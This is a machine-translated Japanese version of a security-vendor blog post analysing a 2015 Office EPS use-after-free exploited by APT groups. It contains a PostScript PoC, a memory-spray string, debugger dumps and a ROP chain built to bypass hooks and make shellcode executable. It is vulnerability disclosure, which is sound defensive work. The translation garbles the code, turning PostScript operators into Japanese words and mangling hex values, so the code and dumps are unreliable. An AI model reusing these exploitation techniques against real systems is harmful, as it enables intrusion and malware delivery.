EPS の目覚め

9 月 8 日、FireEye は、Microsoft Office ( CVE-2015-2545 ) および Windows ( CVE-2015-2546 ) のゼロデイ脆弱性を悪用する攻撃に関する詳細を公開しました。この攻撃は、PostScript を利用してこれまでにない方法でメモリの破損を引き起こしたため、特に注目に値しました。このエクスプロイトは、JavaScript や Flash などの一般的な言語でのブラウザーのエクスプロイトと同様の戦略を使用していましたが、PostScript は、Office で強力で便利な見過ごされた攻撃ベクトルとして機能しました。

CVE-2015-2545 のパッチのリリース後、FireEye は Microsoft にパッチをバイパスする方法を通知しました。 Microsoft はバイパスを修正しただけでなく、Encapsulated PostScript (EPS) フィルター全体のコードを積極的に強化しました。アップデートは 11 月 10 日 (パッチ火曜日) に静かにリリースされました。

日本では 11 月 26 日の午前 10 時頃 (米国では感謝祭の前日の営業終了時頃)、攻撃者がスピア フィッシング キャンペーンを開始しました。電子メールには、これまで知られていなかった EPS の脆弱性を悪用するドキュメントが添付されていました。しかし、問題がありました。この脆弱性は、2 週間前にリリースされた Microsoft の更新プログラムで積極的に修正されました。

FireEye EX の顧客へのスピアフィッシング メールは、実際にはブロックされていました。 FireEye アプライアンスは、エクスプロイトを Exploit.Dropper.docx.MVX および Malware.Binary.Docx として検出します。

このブログ シリーズの最初の部分では、このエクスプロイトを使用した最近の脅威グループの活動を要約し、脆弱性の完全な技術的詳細を提供します。攻撃の運用の詳細を概説するパート 2 にご期待ください。

活動概要

2015 年の 11 月下旬から 12 月上旬にかけて、FireEye は、これまで知られていなかった Microsoft Office EPS の脆弱性 (詳細は後述) と Windows ローカル権限昇格の脆弱性 CVE-2015-1701 を悪用する複数のスピア フィッシング キャンペーンを観測しました。数日間にわたって、中国を拠点とする既知および疑わしい高度持続型脅威 (APT) グループが、悪意のある Word 添付ファイルを含むフィッシング メールを、それぞれ金融サービス、ハイテク、メディア、および政府部門の日本と台湾の組織に送信しました。

これらの添付ファイルは、サイレント パッチが適用されたユーザー モードの Microsoft EPS の脆弱性 (Microsoft EPS の解放後の使用の脆弱性 CVE-2015-2545 に類似) を悪用し、その後 CVE-2015-1701 を使用して、侵害されたマシンへの SYSTEM レベルのアクセスを取得しました。各脆弱性のエクスプロイトに成功した後、エクスプロイト シェルコードは IRONHALO ダウンローダーまたは ELMER バックドアのいずれかを展開しました。 FireEye は現在、IRONHALO を Trojan.IRONHALO.Downloader として、ELMER を Backdoor.APT.Suroot として検出しています。

脆弱性の詳細 – カプセル化された PostScript dict コピー Use-After-Free

eps-awakens1

dict 1 dict 2 copyの形式では、 copy演算子はすべての要素を最初のオペランド ( dict 1 ) から 2 番目のオペランド ( dict 2 ) にコピーします。 PostScript 言語リファレンス マニュアル (PLRM)は、図 1 に引用されているように、コピー演算子は 2 番目のオペランドに残っている要素に影響を与えないと述べています。たとえば、 dict 1にキーk1の下の要素が含まれ、 dict 2にキーk1およびk2の下の要素が含まれていた場合、操作dict 1 dict 2 copyk1の下の要素を上書きする必要がありますが、 k2の下の要素には影響しません。

ただし、Microsoft の EPS はこの標準から逸脱しています。 Microsoft の実装では、 copy演算子は、 dict 2内部ハッシュ テーブルからすべてのキーと値のエントリを繰り返し削除します。次に、ハッシュ テーブル自体を削除し、新しいハッシュ テーブルを割り当てます。最後に、要素をdict 2からdict 2 にコピーします。この削除プロセスを図 2 に示します。

eps-目覚め2

foralldict 2を列挙しているときにdict 1 dict 2コピー操作を使用すると、use-after-free が発生します。 forallループの反復ごとに、 dict 2はポインター (ptrNext) を逆参照して、次のキーと値のペアをオペレーター スタックにプッシュします。 copyが次のキーと値のペアを削除すると、ptrNext は古くなります。 forallループの次の反復では、オブジェクトが古いポインターからオペレーター スタックにプッシュされます。

攻撃シナリオでは、攻撃者は古いポインターの下にメモリを割り当てることができます。攻撃者は、 forall列挙子がキーと値のペアとして読み取るデータを提供できます。付録には、古いポインターの下に文字列を割り当て、キーと値のペアを偽造する方法を示す最小化された PoC が含まれています。

完全な読み取りと書き込みの開発

攻撃者は、文字列を偽造することでメモリへのアクセスを取得します。具体的には、攻撃者は偽造されたキーと値のペアを古い ptrNext の下に置き、キーと値のペアは偽造された文字列を指します。攻撃者は、偽造されたキーと値のペアでハードコードされたアドレス (130e0020h) を使用し、アドレスのメモリに PostScript 文字列をスプレーします。図 3 は、スプレーされた文字列オブジェクトを作成する PostScript と、メモリ内の文字列のレイアウトを示しています。

/fakestr <28000e1358000e13bebafeca41414141414141414141414141414141030000004141414141414141414
1414124000e1300000000ffffff7fbebafeca41414141414141414141414141414141414141414141414
14141414100000000ffffff7f> デフ

0:000> dd 130e0000
130e0000 00000000 00000000 00000000 00000000
130e0010 00000000 00000000 00000000 00000000
130e0020 130e0028 130e0058 カフェベイブ 41414141
130e0030 41414141 41414141 41414141 00000003
130e0040 41414141 41414141 41414141 130e0024
130e0050 00000000 7fffffff カフェベイブ 41414141
130e0060 41414141 41414141 41414141 41414141
130e0070 41414141 41414141 00000000 7fffffff

図 3: 攻撃者がスプレーした PostScript 文字列

各 PostScript 文字列オブジェクトは、文字列の実際の内容を格納するためのバッファーを割り当てます。このバッファーのアドレスとサイズは、文字列オブジェクト内に格納されます。攻撃者の偽造文字列オブジェクトでは、バッファのアドレスは 0 で、バッファのサイズは 0x7fffffff です。

リターン指向プログラミング

攻撃者がサイズ 0x7fffffff の文字列を偽造すると、その文字列を使用してプロセス メモリを自由に読み書きできるようになります。攻撃者はこの機能を使用して ROP ガジェットを検索し、ROP チェーンを構築します。

0:000> dd /c 1 130e1032
130e1032 60e2b53a // retn_gadget
130e1036 60e2b53a // retn_gadget
130e103a 00000000
130e103e 00000000
130e1042 60e69f80 // stack_pivot_gadget
130e1046 60e398cd // set_eax_gadget、eax = 0xd7
130e104a 00000000
130e104e 00000000
130e1052 00000000
130e1056 777e5695 // ntcreateevent_gadget+0x5、NtProtectVirtualMemory
130e105a 130e3000 // シェルコードはここから始まります
130e105e ffffffff
30e1062 130e0200
130e1066 130e0204
130e106a 00000040
130e106e 130e0208

0:000> u 60e2b53a
EPSIMP32+0xb53a:
60e2b53a c20c00 ret 0Ch
0:000> u 60e69f80
EPSIMP32!RegisterPercentCallback+0x2234e:
60e69f80 94 xchg eax,esp
60e69f81 c3 ret
0:000> u 60e398cd
EPSIMP32+0x198cd: // ecx = 130e1000, eax = 0xd760e398cd 8b4114 mov eax,dword ptr [ecx+14h]
60e398d0 c3 ret
0:000> u 777e5695
ntdll!NtCreateEvent+0x5:
777e5695 ba0003fe7f mov edx,offset SharedUserData!SystemCallStub
777e569a ff12 call dword ptr [edx]
777e569c c21400 ret 14h

図 4: 攻撃者の ROP チェーン

図 4 に示す ROP チェーンは、いくつかの既知のトリックを使用してセキュリティ製品をバイパスします。まず、ROP チェーンは ntdll!NtCreateEvent の先頭から 5 バイトをスキップします。これにより、ルーチンの先頭に配置されたすべてのフックがバイパスされます (「フック ホッピング」として知られています) が、このオフセットの本当の目的は、eax を設定する命令を渡すことです。これにより、攻撃者は eax で独自のパラメータを指定し、NtCreateEvent の代わりに任意のシステム コールを呼び出すことができます。攻撃者は、攻撃者のシェルコードを実行可能としてマークするシステム コール NtProtectVirtualMemory を選択します。システム コール番号は環境によって異なるため、攻撃者は ntdll!NtProtectVirtualMemory 関数 (NtProtectVirtualMemory syscall を呼び出すために通常使用されるユーザー モード関数) から eax の正しい値を読み取ります。

実行を ROP チェーンに移すために、攻撃者はファイル タイプ オブジェクトを偽造します。攻撃者は、偽造されたファイル タイプ オブジェクト内で、bytesavailable 関数ポインタをピボットを指すように変更します (図 5)。次に、攻撃者が PostScript で偽造されたオブジェクトを使用すると、ピボットが呼び出され、実行が ROP チェーンに転送されます。 ROP チェーンが完了すると、攻撃者のシェルコードに戻ります。

偽造されたファイル タイプ オブジェクトを使用した bytesavailable 演算子
図 5: 偽造されたファイル タイプ オブジェクトを使用した bytesavailable 演算子

シェルコード

ROP チェーンが終了して攻撃者のシェルコードに戻ると、シェルコードは CVE-2015-1701 を悪用する DLL をロードして、プロセスを SYSTEM に昇格させます。 CVE-2015-1701 エクスプロイトは、GitHub から公開されたソース コードに基づいています。シェルコード プロセスが SYSTEM 権限を取得すると、このシリーズのパート 2 で説明するさらなるペイロードが実行されます。

謝辞

このブログに貢献してくれた Wang Yu、Dan Regalado、Junfeng Yang に感謝します。

付録簡素化された PoC

%% dict2 を作成し、それを埋めます
%% いくつかのキーと値のペア
/dict2 5 辞書定義
dict2 開始
/k1 1000 アレイ定義
/k2 1000 配列定義

dict2終了

%% dict1 を作成し、それを埋めます
%% k1 の下の 1 つのキーと値のペア
/dict1 3 辞書定義
dict1 開始
/k1 1000 アレイ定義
dict1終了

%% dict2 の forall 列挙を開始します
dict2 {

% dict2 の内部ハッシュテーブルを破棄し、
すべてのキーと値のペアを解放する %
dict1 dict2 コピー

% 新しい文字列を作成して上書きします
% 解放されたキーと値のペア k2。
% 文字列に偽造されたキーと値のペアが含まれています
44弦
0 <00000000ff030000000500000000000000000002000e0130300000000000000000000044444444> putinterval
% ループの次の反復では、stale が使用されます。
% 上記の文字列を指すptrNext、
% 偽造された鍵ペアを読み取ります

} すべてのために

参照: https://www.mandiant.com/resources/blog/the-eps-awakens

コメント

タイトルとURLをコピーしました